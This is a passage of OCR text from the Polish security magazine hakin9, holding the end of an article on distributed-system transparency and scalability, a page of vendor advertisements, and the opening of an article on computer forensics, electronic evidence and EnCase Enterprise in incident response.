określa otoczenie i sposób bu-
dowania oprogramowania dla te-
go środowiska z wykorzystaniem
usług sieciowych (ang. Web Servi-
ces
). Procesem standaryzacji zaj-
muje się organizacja standaryza-
cyjna Global Grid Forum. Globus
Toolkit, będący implementacją po-
wyższych standardów, sam uważa-
ny jest za de facto za standard.

Wrażenie jednolitości syste-

mu można uzyskać poprzez zasto-
sowanie architektury warstwowej
w odniesieniu do oprogramowania.
System taki bazuje na lokalnych
systemach operacyjnych i nadbu-
dowuje warstwę pośrednią (ang.
middleware), dostarczającą ujed-
noliconego interfejsu dostępu do
usług dla aplikacji rozproszonych.
Systemy rozproszone są tworzone
ze względu na swoje istotne poten-
cjalne zalety. Efektywne zagospo-
darowanie tych zalet może spra-
wić, że będą one bardziej atrakcyj-
ne dla użytkownika końcowego niż
systemy scentralizowane. Systemy
rozproszone powstają po to, by uła-
twić użytkownikom dostęp do zdal-
nych zasobów, ukrywając fakt ich
rozproszenia i umożliwiając współ-
dzielenie. Współdzielony dostęp do
zasobów jest uzasadniony głównie
ekonomicznie: wiele zasobów jest

Rysunek 2.

Schemat systemu CCA

��������

���������

���������

���������

��������

���������

���������������

���������

��������

���������

���������

���������

��������

���������

���������

���������

��������

���������

���������������

���������

��������

���������

���������

���������

background image

Jak funkcjonują systemy rozproszone?

hakin9 Nr 3/2008

www.hakin9.org

49

drogich – zarówno w zakupie, jak
i w późniejszym utrzymaniu. Korzy-
stanie ze wspólnych zasobów da-
je też możliwość szybkiej wymiany
informacji pomiędzy samymi użyt-
kownikami. Łatwy dostęp do za-
sobów nie powinien jednak ozna-
czać rezygnacji z zapewniania bez-
pieczeństwa realizowanych opera-
cji. Dotyczy to zarówno poufności,
spójności przesyłanych danych,
jak i niezaprzeczalności. Proble-
my bezpieczeństwa ujawniają się
również w kontekście samej komu-
nikacji. Monitorowanie aktywności
użytkowników i budowanie profili
zachowań również może naruszać
naszą prywatność. Rozprosze-
nie zasobów i procesów na fizycz-
nie rozłącznych maszynach może
być maskowane tak, aby system
był postrzegany jako jedna spój-
na całość. Mówimy o takim syste-
mie, że jest transparentny. Przezro-
czystość może być jednak postrze-
gana na różnych poziomach, a po-
ziomy te mogą być mniej lub bar-
dziej istotne dla użytkownika koń-
cowego. W dalszej części artykułu
przedstawiono podstawowe pozio-
my przezroczystości rozpatrywane
w systemach rozproszonych.

Kolejna cecha systemów roz-

proszonych to łatwość ich rozsze-
rzania, co w konsekwencji powin-
no prowadzić do zapewnienia ska-
lowalności systemu. Łatwość ta
jest efektem niezależności kompu-
terów, przy jednoczesnym ukrywa-
niu szczegółów dotyczących funk-
cji pełnionych przez poszczególne
komputery w systemie. Ze wzglę-
du na powielanie pewnych funkcji
przez wiele komputerów, system
rozproszony może sprawiać wra-
żenie nieustannej dostępności je-
go zasobów i usług. Dzieje się tak
pomimo przejściowych awarii po-
szczególnych jego komponentów,
które są jednak maskowane przeję-

ciem obsługi przez inne komputery.
Podobnie dodanie nowych kompu-
terów i/lub użytkowników pozostaje
niezauważone przez dotychczaso-
wych użytkowników.

Przezroczystość dostępu ozna-

cza ujednolicenie metod dostę-
pu do danych i ukrywanie różnic
w reprezentacji danych. Użytkow-
nik korzysta cały czas z tego sa-
mego interfejsu dostępu do da-
nych. Różnice w reprezentacji
danych mogą wynikać z zastoso-
wania różnych architektur kompu-
terowych. Przykładem jest repre-
zentacja liczb – procesory Inte-
la stosują tzw. kodowanie little en-
dian a np. procesory Sun SPARC
stosują kodowanie big endian. Róż-
nica polega na kolejności ułożenia
poszczególnych bajtów liczby w pa-
mięci. Innym przykładem różnic
w reprezentacji danych są odmien-
ne konwencje nazewnictwa plików
stosowane w poszczególnych sys-
temach operacyjnych.

Przezroczystość

położenia

oznacza, że użytkownicy nie mogą
określić fizycznego położenia za-
sobu (np. na podstawie jego nazwy
czy identyfikatora). Warunkiem ko-
niecznym osiągnięcia przezroczy-
stości położenia jest stosowanie
nazewnictwa zasobów, które abs-
trahuje od ich położenia. Z tego
między innymi powodu adresy do-
kumentów w usłudze WWW zaczę-
to określać nie jako adresy URL
(ang. Universal Resource Locator
– uniwersalny lokalizator zasobów),
a raczej jako adresy URI (ang. Uni-
versal Resource Identifier
– uni-
wersalny identyfikator zasobów).
Zaakcentowano w ten sposób bar-
dziej ogólny sposób interpreta-
cji elementów składowych adresu.
Np. adres: http://www.put.poznan.pl/
rekrutacja/rekrutacja.html
może być
interpretowany jako wskazanie na
dokument znajdujący się na serwe-

rze www.put.poznan.pl (URL) lub
po prostu całościowo jako identy-
fikator dokumentu (URI).
Przezroczystość wędrówki oznacza,
że zasoby mogą być przenoszone
pomiędzy serwerami bez potrzeby
zmiany sposobu odwoływania się
do nich. Uzyskanie przezroczystości
wędrówki zakłada oczywiście prze-
zroczystość położenia, gdyż w prze-
ciwnym wypadku po dokonaniu prze-
niesienia zasobu jego stary identyfi-
kator stawałby się nieaktualny.

Przezroczystość przemieszcza-

nia oznacza, że zasoby mogą być
przenoszone nawet wtedy, gdy są
używane przez użytkowników i nie
wymaga to informowania użytkow-
ników o zmianie położenia. Z ta-
ką sytuacją mamy do czynienia np.
w przypadku sieci komórkowych,
gdzie użytkownicy pomimo fizycz-
nego przemieszczania się mogą
prowadzić stale rozmowę (jest to
tzw. roaming).

W systemach rozproszonych

zwielokrotnianie (replikacja) jest
jednym z podstawowych mecha-
nizmów pozwalających na zwięk-
szenie wydajności i niezawodno-
ści. Stosowanie zwielokrotniania
może skutkować jednak znaczny-
mi utrudnieniami dla użytkowników
końcowych, wynikającymi m. in.
z niespójności współbieżnie mody-
fikowanych kopii.

Przezroczystość zwielokrotnia-

nia oznacza, że pomimo zwielokrot-
niania zasobów użytkownicy nie
zauważają tego faktu – korzysta-
ją z zasobów dokładnie w taki sam
sposób, jak w systemie nie stosu-
jącym zwielokrotniania. W praktyce
oznacza to, że przezroczystość
zwielokrotniania można uzyskać
w systemach gwarantujących prze-
zroczystość położenia, ponieważ
dostęp do każdej z kopii zasobu
powinien być realizowany z wyko-
rzystaniem tego samego identyfi-
katora.

System rozproszony umożliwia

współdzielenie zasobów. Współ-
dzielenie takie może być realizowa-
ne w sposób kooperatywny – jak to
ma miejsce np. w przypadku komu-
nikacji – lub w sposób rywalizacyj-

W Sieci

http://wazniak.mimuw.edu.pl – bardzo polecam ten odnośnik,
http://wikipedia.pl – ten odnośnik także powinien znać każdy.

background image

hakin9 Nr 3/2008

www.hakin9.org

Obrona

50

ny, kiedy wielu użytkowników jed-
nocześnie ubiega się o dostęp do
tego samego zasobu.
Przezroczystość

współbieżności

gwarantuje, że współbieżne odwo-
ływanie się do tego samego zasobu
realizowane przez wielu użytkowni-
ków nie będzie prowadziło do po-
wstania w systemie stanu niespój-
nego. Stan spójny można osiągnąć
poprzez blokowanie dostępu do
wspólnych danych (gwarantujące
wyłączny dostęp) lub poprzez za-
stosowanie mechanizmu przetwa-
rzania transakcyjnego, które jednak
jest trudne do zrealizowania w sys-
temie rozproszonym.

System jako całość powinien

działać nawet w przypadku awa-
rii pojedynczych jego komponen-
tów. Przezroczystość awarii ozna-
cza, że użytkownik nie zauważa
faktu uszkodzenia pojedynczych
węzłów. Wadliwy komponent po-
winien zostać zastąpiony popraw-
nym, a cała operacja nie powin-
na wpływać na sposób korzystania
z systemu. Maskowanie awarii jest
zadaniem trudnym, a przy przyjęciu
pewnych założeń – nawet niemoż-
liwym. Główna trudność polega
na odróżnieniu awarii zdalnego wę-
zła od awarii łączy komunikacyj-
nych. Przezroczystość trwałości
ukrywa mechanizmy zarządzania
zdalnymi zasobami. Przykładem
mogą tu być zdalne obiekty, na
rzecz których użytkownicy wywołu-
ją metody. Obiekt powinien trwale
przechować swój stan po zdalnym
wywołaniu jego metody. Z drugiej
strony odwołanie do tego obiektu
powinno być możliwe nawet wte-
dy, gdy nie jest przechowywany ak-
tualnie w pamięci. Oczekuje się, że
systemy rozproszone będą ukry-
wać przed użytkownikiem szczegó-
ły swojej wewnętrznej organizacji,
jednakże osiągnięcie wysokiego
poziomu przezroczystości wią-
że się z dużymi kosztami, głów-
nie związanymi z ogólną wydajno-
ścią systemu. W praktyce dąży się
do osiągnięcia racjonalnego kom-
promisu pomiędzy obserwowa-
ną przez użytkownika złożonością
systemu, a efektywnością jego pra-

cy. Systemy rozproszone, aby mo-
gły być rozbudowywane, muszą
być otwarte. Oznacza to koniecz-
ność standaryzacji stosowanych
protokołów i interfejsów komunika-
cyjnych. Definicje interfejsów obej-
mują najczęściej opis składni usług
(nazwy funkcji, typy parametrów
i zwracanych wyników). Semantyka
usług opisywana jest najczęściej
w sposób nieformalny, przy wyko-
rzystaniu języka naturalnego.

Specyfikacja interfejsu, aby mo-

gła być implementowana niezależnie
przez wielu dostawców oprogramo-
wania, musi być zupełna (kompletna)
i neutralna. Kompletność oznacza,
że opis jest wystarczający do stwo-
rzenia implementacji. Neutralność
oznacza, że specyfikacja nie narzu-
ca żadnych szczegółów dotyczą-
cych implementacji. Spełnienie tych
warunków jest konieczne dla osią-
gnięcia zdolności do współdziałania
(ang. interoperability), która oznacza
możliwość współpracy ze sobą kom-
ponentów programowych pochodzą-
cych od różnych dostawców, o ile im-
plementują one odpowiednie interfej-
sy programowe.

Przenośność (ang. portabili-

ty) oznacza możliwość uruchomie-
nia aplikacji stworzonej dla jedne-
go systemu w innym systemie bez
konieczności wprowadzania jakich-
kolwiek modyfikacji. Dobrze zapro-
jektowany system otwarty powinien
być elastyczny, co w praktyce ozna-
cza łatwość budowy i przebudowy
systemu składającego się z kom-
ponentów pochodzących od róż-
nych dostawców. Osiągnięcie wy-
sokiej elastyczności jest możliwe
poprzez podział systemu rozpro-
szonego na wysoce autonomiczne
komponenty komunikujące się po-
przez precyzyjnie opisane interfej-
sy. Daje to możliwość wymiany po-
szczególnych komponentów bez
konieczności wyłączania całego
systemu. Otwartość i elastyczność
systemów rozproszonych może być
wspierana poprzez oddzielenie
polityki od mechanizmu. Polityka
określa w sposób deklaratywny ce-
le, które chce osiągnąć użytkow-
nik, a mechanizm dostarcza na-

rzędzi do osiągania tych celów.
Przykładem może być stosowanie
pamięci podręcznych w przeglą-
darkach internetowych. Jest to me-
chanizm zwiększający dostępność
zasobów w usłudze WWW. Waż-
ne jednakże są tu parametry wej-
ściowe sterujące pracą tej pamięci
(czas przechowywania dokumen-
tów, strategia aktualizacji, wybór
dokumentów). Parametry te okre-
ślają właśnie politykę, jaką chce
narzucić użytkownik i która może
być potencjalnie realizowana z wy-
korzystaniem innego mechanizmu.

Rozwój sieci komputerowych

i liczba komputerów przyłączanych
do Internetu wzrastają tak szybko,
że jednym z najważniejszych ce-
lów projektowych staje się obec-
nie zapewnienie skalowalności.
Skalowalność może być rozważa-
na w trzech różnych wymiarach.
Po pierwsze – skalowalność pod
względem rozmiaru, oznaczająca
możliwość dodawania do systemu
nowych użytkowników i zasobów.
Po drugie – skalowalność geogra-
ficzna, umożliwiająca rozrzucenie
poszczególnych użytkowników po
całym świecie. Po trzecie wreszcie
– skalowalność pod względem ad-
ministracyjnym oznacza, że zarzą-
dzanie systemem pozostaje równie
proste pomimo zwiększania jego
rozmiaru i dystrybucji odpowiedzial-
ności na wiele jednostek administra-
cyjnych. Skalowalność pod wzglę-
dem rozmiaru może być ograni-
czona poprzez stosowanie rozwią-
zań scentralizowanych. Każdy ser-
wer, który jest jedynym pełniącym
określoną funkcję, staje się wąskim
gardłem w warunkach wzrastającej
liczby żądań. Stosowanie przetwa-
rzania scentralizowanego staje się
niekiedy jednak nieuniknione. Przy-
kładem może być przechowywanie
poufnych danych, których powiele-
nie powodowałoby zwiększenie ry-
zyka ich ujawnienia (centralizacja
danych). Z centralizacją usług ma-
my do czynienia wtedy, gdy prze-
twarzanie zleceń jest realizowane
przez pojedynczy serwer. Dobrym
przykładem usługi, która jest dosko-
nale zdecentralizowana, jest usługa

background image

hakin9 Nr 3/2008

51

DNS (ang. Domain Name Service), zajmująca się
m. in. odwzorowaniami nazw domenowych na ad-
resy IP. W usłudze tej grupa rozproszonych serwe-
rów realizuje wspólnie wspomnianą funkcję. Roz-
proszenie przetwarzania jest tu koniecznością, po-
nieważ liczba żądań przychodzących do systemu
jest tak duża, że żaden serwer nie byłby w stanie
jej obsłużyć.

Wysoką skalowalność systemów można osią-

gnąć poprzez zastosowanie algorytmów zdecen-
tralizowanych. Charakteryzują się one następują-
cymi własnościami:

• żadna z maszyn nie posiada pełnej informacji

o stanie systemu,

• decyzje podejmowane są tylko na podstawie in-

formacji lokalnych,

• uszkodzenie pojedynczych maszyn nie powo-

duje blokady całego systemu,

• nie ma niejawnych założeń dotyczących glo-

balnego zegara.

Ostatnie założenie jest konsekwencją ogólnie
przyjętej charakterystyki systemów rozproszo-
nych, w których komunikacja ma charakter asyn-
chroniczny. Oznacza to, że komunikaty docierają
do odbiorcy w czasie skończonym, ale bliżej nie-
określonym. Konsekwencją tego założenia jest
niemożliwość dokładnego zsynchronizowania lo-
kalnych zegarów komputerów pracujących w sie-
ci (przede wszystkim w sieci rozległej).

Skalowalność geograficzna jest ograniczana

głównie przez dostępne mechanizmy komunikacyj-
ne, które wprowadzają znaczne opóźnienia i charak-
teryzują się wysoką zawodnością. Opóźnienia po-
wodują, że akceptowalne w sieciach lokalnych prze-
twarzanie synchroniczne staje się nieakceptowalne
w sieciach rozległych, gdyż wprowadza zbyt duże
przestoje.

Ponieważ skalowalność jest tak wysoce pożąda-

ną cechą systemów rozproszonych, bardzo ważnym
staje się pytanie o ogólne metody zapewniania wy-
sokiej skalowalności. Generalnie istnieją trzy meto-
dy zwiększania skalowalności: ukrywanie opóźnień
komunikacyjnych, rozpraszanie i zwielokrotnianie.

Ukrywanie opóźnień komunikacyjnych oznacza

w praktyce stosowanie na szeroką skalę komunika-
cji asynchronicznej, w której zlecający operację nie
czeka na jej wynik, a wykonuje dalsze przetwarzanie
niewymagające wyniku ostatniej operacji. Efekt taki
można uzyskać stosując przetwarzanie współbież-
ne po stronie klienta, w którym oczekiwanie na wy-
nik będzie blokowało oddzielny wątek przetwarza-
nia. Niestety, komunikację asynchroniczną można
stosować jedynie w systemach nieinteraktywnych.
W systemach interaktywnych można próbować re-
dukować ilość przesyłanych informacji poprzez

background image

hakin9 Nr 3/2008

www.hakin9.org

Obrona

52

przeniesienie części przetwarzania
do klienta, np. w celu lepszej wery-
fikacji danych wejściowych. Można
w tym celu wykorzystać np. dyna-
miczne przesyłanie kodu weryfiku-
jącego z serwera (aplety Javy).

Rozpraszanie (ang. distribution)

polega na podziale zadań kompo-
nentu programowego na wiele jed-
nostek i rozproszenie tych jedno-
stek w sieci. Przykładem może być
system DNS, w którym nie wystę-
puje pojedynczy serwer przecho-
wujący całość informacji o konfi-
guracji odwzorowań nazw na ad-
resy. Informacja ta jest rozproszo-
na pomiędzy wszystkie serwery
nazw, które odpowiadają za obsłu-
gę pojedynczych domen nazewni-
czych. Translację wybranej nazwy
dokonuje serwer nazw dla domeny,
z której pochodzi testowana na-
zwa.

Zwielokrotnianie (ang. repli-

cation) daje możliwość nie tylko
zwiększenia dostępności zasobów,
ale także równoważenia obciąże-
nia. W efekcie systemy stosujące
replikację (potencjalnie) charakte-
ryzują się większą wydajnością. Co
więcej, zwielokrotniony serwer mo-
że być zastąpiony innym w przy-
padku awarii. Jeżeli zwielokrotnio-
ne serwery są dodatkowo rozpro-
szone, to średnia odległość do naj-
bliższego serwera ulega skróceniu,
co skutkuje dodatkowo możliwo-
ścią maskowania opóźnień komu-
nikacyjnych.

Pewną formę zwielokrotnia-

nia stanowi stosowanie pamię-
ci podręcznych (ang. cache), któ-
rych zawartość jest również ko-
pią oryginalnych danych. O ile
jednak przy zwielokrotnianiu de-
cyzję o utworzeniu kopii podej-
muje właściciel zasobu, o tyle
w przypadku przechowywania pod-
ręcznego decyzję taką podejmu-
je sam klient. Tworzenie kopii za-
sobów powoduje jednak powsta-
wanie problemu spójności danych,
jeżeli jedna z kopii zostanie zmo-
dyfikowana. Częste modyfikacje
i ich propagacje do pozostałych
serwerów

mogą

spowodować

znaczne ograniczenie skalowalno-

ści systemu stosującego replikację.
Z drugiej strony, użytkownicy mogą
odwoływać się do danych, które nie
są już aktualne, co nie zawsze bę-
dzie akceptowalne (np. w przypad-
ku operacji bankowych). Użytkow-
nicy mogą formułować swoje ocze-
kiwania co do spójności zwielokrot-
nianych danych poprzez tzw. mo-
dele spójności opisujące gwaran-
cje, których udziela system. Doty-
czą one propagacji zmian do pozo-
stałych kopii oraz uporządkowania
operacji realizowanych współbież-
nie na wielu serwerach. Globalne
porządkowanie operacji może jed-
nak wymagać stosowania scentra-
lizowanego przetwarzania, co oczy-
wiście jest rozwiązaniem nieska-
lowalnym. Nie zawsze więc zwie-
lokrotnianie jest właściwą metodą
na zwiększanie skalowalności sys-
temu.

Systemy rozproszone budowa-

ne są z pojedynczych komputerów
połączonych siecią. Z punktu wi-
dzenia programisty nie jest obojęt-
ne, jaka jest budowa pojedynczych
maszyn w systemie rozproszonym,
gdyż rzutuje to na sposób progra-
mowania takich systemów. Gene-
ralnie można wyróżnić dwie klasy
systemów komputerowych: wielo-
procesory i multikomputery. Zasad-
nicza różnica polega na innej orga-
nizacji dostępu do pamięci. W wie-
loprocesorach wszystkie procesory
mają dostęp do jednej, wspólnej
przestrzeni adresowej. W multikom-
puterach każda jednostka ma swoją
lokalną pamięć.

Drugim ważnym parametrem

wyznaczającym charakter syste-
mu rozproszonego jest architek-
tura połączeń pomiędzy poszcze-
gólnymi węzłami. Połączenia mo-
gą być realizowane poprzez central-
ną szynę lub w technologii przełą-
czanej. Połączenia szynowe w wie-
loprocesorach ułatwiają zarządza-
nie spójnością danych, ale z drugiej

strony bardzo ograniczają skalowal-
ność; szyna przy niedużej liczbie
procesorów staje się wąskim gar-
dłem. Często stosowanym rozwią-
zaniem w takim przypadku jest za-
stosowanie pamięci podręcznych.
Algorytmy wymiany zawartości pa-
mięci podręcznej pozwalają na uzy-
skiwanie wysokich współczynników
trafień (ang. hit rate), co pozwala
na znaczne ograniczenie częstotli-
wości odwołań do głównej szyny.
Z drugiej jednak strony stosowanie
pamięci podręcznej powoduje po-
wstawanie problemu spójności kopii
tych samych danych przechowywa-
nych na różnych węzłach.

Podsumowanie

Wieloprocesory budowane są po-
przez połączenie wielu autonomicz-
nych komputerów siecią. Jeżeli wyko-
rzystywane są komputery o tej samej
architekturze, to mamy do czynienia
z siecią systemową. Połączenia mo-
gą być również realizowane w archi-
tekturze szynowej lub przełączanej.
W przypadku architektury przełącza-
nej stosuje się wyznaczanie tras (tra-
sowanie) komunikatów przez sieć po-
łączeń. Dwie najpopularniejsze topo-
logie połączeń pomiędzy węzłami to
siatki (kraty) i hiperkostki. Kraty, po-
nieważ są dwuwymiarowe, są łatwiej-
sze do implementacji na płaskiej płyt-
ce obwodu drukowanego. Hiperkost-
ka jest sześcianem n-wymiarowym.
Praktyczne realizacje koncepcji mul-
tikomputera korzystają bądź ze spe-
cjalizowanej (często opatentowanej)
sieci połączeń bądź ze standardo-
wych rozwiązań stosowanych w sie-
ciach komputerowych (np. technolo-
gia Ethernet). Pierwsze podejście,
oczywiście dużo droższe, stosowa-
ne jest w komputerach o masywnej
równoległości. Multikomputery ba-
zujące na standardowych technolo-
giach zwane są z kolei gronami, gru-
pami stacji roboczych lub po prostu
klastrami. l

O autorze

Student informatyki który interesuje się logiką rozmytą.
Kontakt z autorem: spinacz24@gmailcom

background image

CCNS

Działalność firmy skoncentrowana jest
wokół hasła zapewnienia pełnego bez-
pieczeństwa funkcjonowania Klienta
w realiach współczesnej gospodarki.
Jako Expert Partner firmy WatchGuard
Inc. oferujemy kompleksowe rozwiąza-
nia bezpieczeństwa sieci i systemów
informatycznych obejmujące nowo-
czesne urządzenia typu Unified Thre-
at Management, niezawodny serwis
i szeroki wachlarz szkoleń.

Prenumerata Pro

Media

Systems

Firma Media Systems oferuje Państwu
profesjonalny system CashBill.pl,
umożliwiający zarządzanie usługami
SMS Premium Rate w sektorze B2B
i B2C. Oferujemy również szeroki
wachlarz usług mikropłatniczych,
płatności elektronicznych oraz indywi-
dualne, dedykowane rozwiązania przy
budowie aplikacji mobilnych.

TTS Company Sp. z o.o.

Oprogramowanie komputerowe - sprze-
daż, dystrybucja oraz import na zamó-
wienie. W ofercie programy autorstwa
ponad stu firm z całego świata. Zapra-
szamy do współpracy - zostań naszym
klientem lub dostawcą.

Zepter IT

Zepter IT to dynamicznie rozwijają-
ca się firma, specjalizująca się w re-
alizacji projektów informatycznych.
Oferujemy rozwiązania dla biznesu
i zarządzania takie jak systemy ERP
czyli zarządzanie zasobami firmy, pod-
noszenie jakości i obniżanie kosztów.
Zepter IT świadczy również usługi in-
ternetowe - serwisy www, e-commer-
ce, tworzenie aplikacji internetowych
oraz systemów zarządzania treścią.

Petrosoft

Partner Microsoft Bussiness Solutions
Dynamics GP. Budowa sklepów inter-
netowych, serwisów WWW, prezentacji
multimedialnych. Budowa sieci LAN,
WAN, telekomunikacyjnych. Telefonia
stacjonarna, VoiceIP. Usługi outsor-
cingowe dla dużych firm z zakresu
informatyki i telekomunikacji. Opro-
gramowanie na zamówienia. Dostawa
serwerów, sprzętu, oprogramowania.

www.OprogramowanieKomputerowe.pl

www.ccns.pl

38-200 Jasło, ul. 3 Maja 101

Biuro: (13) 44 66 666

biuro@petrosoft.pl

www.zepterit.com

kontakt do nas:

katarzyna.juszczynska@software.com.pl

robert.gontarski@software.com.pl

tel. : 22 427 36 77

Enigma SOI

Głównym przedmiotem działalności fir-
my jest produkcja, wdrażanie i sprze-
daż systemów służących do ochrony
informacji.

• elektroniczna skrzynka podawcza
• centra certyfikacji kluczy
• podpis elektroniczny i szyfrowanie

na serwerach i stacjach klienckich

• zabezpieczanie stacji lokalnych
• karty elektroniczne i czytniki

www.enigma.com.pl

Kei.pl

Kei.pl działa na rynku usług hostin-
gowych od 2000 roku. Do naszych
zadowolonych Klientów z dumą
możemy zaliczyć wiele przedsiębiorstw
sektora MSP, instytucji oraz osób pry-
watnych. W ofercie Kei.pl znajdują się
pakiety hostingowe, a także usługi dla
wymagających Użytkowników – platfor-
my e-Biznes oraz serwery fizyczne.

http://www.kei.pl

background image

www.hakin9.org

hakin9 Nr 3/2008

54

Obrona

S

ytuacja jeszcze bardziej się kompli-
kuje, gdy niezbędnym elementem po-
stępowania jest zachowanie go w ta-

jemnicy, a zgromadzony materiał dowodowy
ma być przekonujący. Wprowadzenie do or-
ganizacji polityki bezpieczeństwa w zgodzie
z PN-ISO/IEC 27001:2007 określa, jakie pro-
cedury i działania powinny być wdrożone w
zakresie zapewnienia, że zdarzenia związa-
ne z bezpieczeństwem informacji oraz sła-
bościami systemów podlegają zarządzaniu
(patrz Ramka Zarządzanie incydentami).

Norma wymaga, aby proces zarządza-

nia incydentami był reaktywny. Aby reagować
sprawnie i skutecznie, narzuca formalne meto-
dy pracy, które mogą i powinny być wsparte na-
rzędziami informatycznymi.

W przypadku wystąpienia incydentu np.

gromadzenia przez pracownika danych oso-
bowych lub odnalezienia szkodliwej aplika-
cji, opanowanie zdarzenia powinno zmierzać
w kierunku powstrzymania działań, pozna-
nia ich podłoża i wyeliminowania możliwości
ich zajścia w przyszłości. W tradycyjnym po-
dejściu, podejrzany komputer na ogół zosta-
je wyizolowany i poddany analizie. Metoda ta
rzadko zakłada jednak, że zgromadzone z in-

cydentu dane powinny być zgodne z zasada-
mi materiału dowodowego.

Odrobina prawa

Według najprostszej definicji dowód elektro-
niczny jest informacją w formie elektronicz-
nej, mogącą mieć znaczenie dowodowe. Istnie-
je on sam w sobie w postaci informacji zapisa-
nej na nośniku (jest jego właściwością). Sam
nośnik nie jest dowodem. Cechy dowodu elek-
tronicznego:

• łatwość modyfikacji,
• wymagają szczególnych środków technicz-

nych do ich zabezpieczania,

Informatyka śledcza

jako element reakcji na

incydenty

Przemysław Krejza

stopień trudności

Zarządzanie incydentem (incident response – IR) jest jedną

z trudniejszych problematyk związanych z bezpieczeństwem

informacji, szczególnie w dużych organizacjach. Zapanowanie

nad problemem jest często skomplikowane, czasochłonne i tym

trudniejsze, im większe są rozmiary incydentu. Występują również

problemy z określeniem jego skali.

Z artykułu dowiesz się

• co to jest EnCase Enterprise,
• co to jest informatyka śledcza,
• co to jest dowód elektroniczny.

Co powinieneś wiedzieć

• powinieneś znać podstawy zasad bezpieczeń-

stwa informacji.

background image

Informatyka śledcza

hakin9 Nr 3/2008

www.hakin9.org

55

• poszlakowy charakter,
• równość kopii i oryginału.

Na gruncie prawa polskiego dowód
elektroniczny nie posiada szczegól-
nego wyróżnienia, jednak – wbrew
powszechnym poglądom – zarówno
w prawie karnym, jak i cywilnym oraz
administracyjnym jest pełnoprawny
i jest z powodzeniem stosowany w
postępowaniu. Dowód elektroniczny
a prawo polskie:

• w postępowaniu karnym trak-

towany jest tak, jak każdy inny
dowód rzeczowy (rozdział 25
KPK),

• w prawie cywilnym obowiązu-

je swobodna ocena dowodów,
ale może być dowodem z doku-
mentu, opinii biegłego lub innym
środkiem dowodowym,

• w postępowaniu administracyj-

nym jest dopuszczony przez art.
75 K.P.A.

Każde zdarzenie bowiem, mimo
początkowego braku znamion, mo-
że znaleźć swój finał w sądzie. Po-
nieważ w większości przypadków
incydent związany jest z informacją
cyfrową, musi ona posiadać szcze-
gólne cechy, aby miała wartość do-
wodową. Powszechne przekona-
nie, że w Polsce nie ma to znacze-
nia, jest błędne (patrz Ramka Za-
rządzanie incydentami
), gdyż rów-
nież u nas dowód elektroniczny
pełnoprawny jest respektowany
przez Sąd.

Właściwe praktyki IR muszą za-

kładać stosowanie narzędzi odpo-
wiednich z tego punktu widzenia. W
nowoczesnych organizacjach miej-
sce tradycyjnego podejścia zajmuje
Informatyka Śledcza, oferująca pro-
cedury i narzędzia spełniające rów-

nież założenia dowodowe. Podsta-
wowym elementem jest tu powoła-
nie odpowiednio umocowanej gru-
py CSIRT (Computer Security Inci-
dent Response Team
) i wyposaże-
nie jej w odpowiednie narzędzia – od
pojedynczych stanowisk analitycz-
nych aż po rozległe platformy, obej-
mujące swoim zasięgiem dowolnych
rozmiarów środowisko komputero-
we, umożliwiające prowadzenie ana-
liz w obrębie enterprise oraz tworze-
nie dokumentacji z wydzieleniem au-
tentycznego materiału dowodowego,
w celu wypełnienia zaleceń A.13.2
Normy (patrz Ramka Zarządzanie
incydentami
).

Zasady związane z

dowodem elektronicznym

Autentyfikacja. Aby dowód elek-
troniczny został dopuszczony, mu-
si być – podobnie, jak inne dowo-
dy rzeczowe – autentyczny, wier-

ny, kompletny i przystępny. Auten-
tyczność i wierność oznacza ko-
nieczność obrony dowodu przed
zarzutem manipulacji, a więc wy-
kazania, że pochodzi z określone-
go miejsca i czasu. Kompletność
oznacza, że dopiero suma ele-
mentów (logi, pliki, polityki) może
być dowodem. Przystępność to ko-
nieczność przedstawienia dowodu
w formie czytelnej dla odbiorcy.

Kluczowym elementem auten-

tyfikacji jest właściwe zabezpiecze-
nie, które wiąże się z powstaniem
tzw. łańcucha dowodowego, będą-
cego nieodłącznym elementem każ-
dego kroku śledztwa. Najważniej-
szym elementem zabezpieczania
jest uwierzytelnienie materiału, naj-
lepiej z wykorzystaniem sum kontro-
lnych odnotowanych w protokole za-
bezpieczania.

Łańcuch dowodowy determinu-

je wartość dowodu i bezpośrednio
wpływa na jego siłę w prezentacji.
Łańcuch dowodowy, który można
podważyć, pozwoli na obalenie do-
wodu. Najprościej rzecz ujmując, po-
winien on – poprzez dokumentację
materialną – gwarantować przejrzy-
stość zabezpieczenia, badania i pre-
zentacji dowodu tak, aby zawsze ist-
niała pewność, iż dowód, ze względu
na swoje cechy, nie został w jakikol-

Rysunek 1.

Analiza incydentu – nieautoryzowane przechowywanie

dokumentów przez pracownika

Zarządzanie incydentami WG PN-ISO/IEC 27001:

2007, załącznik normatywny A

• Zdarzenia (...) powinny być zgłaszane (...) tak szybko jak to możliwe,
• W organizacji powinny istnieć mechanizmy umożliwiające liczenie i monitorowanie

rodzajów, rozmiarów (...) incydentów (...),

• Jeśli działania podejmowane (...) obejmują kroki prawne (...) powinno się groma-

dzić (...) materiał dowodowy zgodnie z zasadami materiału dowodowego (...).

background image

hakin9 Nr 3/2008

www.hakin9.org

Obrona

56

wiek sposób zmieniony. Ważne jest
przy tym, aby łańcuch był maksymal-
nie krótki, tj. aby ilość osób zaanga-
żowanych w postępowanie była jak
najmniejsza, a każda zmiana oso-
by i ewentualnie wykonywana ope-
racja była odnotowana w odpowied-
nim protokole. Łańcuch nie może po-
siadać żadnych luk. Luką może być
np. przesłanie nośnika z dowodem
pocztą lub oprogramowanie użyte
do zabezpieczania nieposiadające
cech wiarygodności, a nawet użyte
bez odpowiedniej licencji.

EnCase Enterprise (EE)

Kluczem do sukcesu dedykowanej
platformy jest architektura systemu
opierająca się zasadniczo o działa-
nie w układzie klient/serwer w opar-
ciu o trzy elementy:

SERVLET – pasywna usługa

na prawach konta systemowe-
go, pracująca w trybie jądra,
będąca swego rodzaju wtycz-
do zdalnego urządzenia. Se-
rvlet przewidziany jest dla więk-
szości systemów operacyjnych.

SAFE – jest kluczowym elemen-

tem bezpieczeństwa platformy.
Odpowiada za przydział praw w
ramach CSIRT, klucze użytkow-
ników, szyfrowanie transmisji itd.

EXAMINER – środowisko śled-

cze, oferujące narzędzia anali-
tyczne, środowisko skryptowe
oraz zdalny dostęp do wszyst-
kich stacji, na których funkcjo-
nuje servlet.

Pracując na niskim poziomie, se-
rvlet oferuje absolutny dostęp do
badanego systemu, dając możli-
wość zdalnej analizy za pomocą
examinera wszystkich jego elemen-
tów, począwszy od fizycznej zawar-
tości nośników, poprzez zdalne od-
zyskiwanie danych, aż po wszyst-
kie zasoby systemu – w tym rów-
nież używane w trybie wyłączności
